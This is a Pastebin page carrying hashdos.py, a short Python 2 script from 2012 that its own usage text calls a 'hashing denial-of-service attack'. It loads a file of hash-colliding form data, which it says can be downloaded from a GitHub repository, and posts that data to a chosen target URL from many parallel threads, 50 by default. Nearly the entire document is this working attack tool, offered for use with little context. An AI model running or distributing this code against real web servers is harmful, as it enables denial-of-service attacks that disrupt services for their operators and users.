Advertisement
Guest User

hashdos.py

a guest
Jan 4th, 2012
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.10 KB | None | 0 0
  1. import sys, urllib, urllib2, threading
  2.  
  3. def hashdos(target, data):
  4.     req = urllib2.Request(target)
  5.     req.add_header('Content-Type', 'application/x-www-form-urlencoded')
  6.     req.add_data(data)
  7.  
  8.     print(urllib2.urlopen(req).read())
  9.  
  10. def usage():
  11.     print('hashing denial-of-service attack')
  12.     print('by masahiro @MasahiroDavid')
  13.     print('  usage  : hashdos.py <target> <post data> [numfork]')
  14.     print('  example: hashdos.py http://www.example.jp/recv.php killer.txt 50')
  15.     print('')
  16.     print('You can download post data from ')
  17.     print('     https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision')
  18.  
  19. if __name__ == '__main__':
  20.     if len(sys.argv) == 1:
  21.         usage()
  22.         exit()
  23.  
  24.     target = 'http://www.example.jp/recv.php'
  25.     data = ''
  26.     numfork = 50
  27.  
  28.     if len(sys.argv) > 1:
  29.         target = sys.argv[1]
  30.     if len(sys.argv) > 2:
  31.         data = open(sys.argv[2]).read()
  32.     if len(sys.argv) > 3:
  33.         numfork = int(sys.argv[3])
  34.         th = {}
  35.         for i in range(numfork):
  36.             th[i] = threading.Thread(target=hashdos, args=(target, data))
  37.         for i in range(numfork):
  38.             th[i].start()
  39.         for i in range(numfork):
  40.             th[i].join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement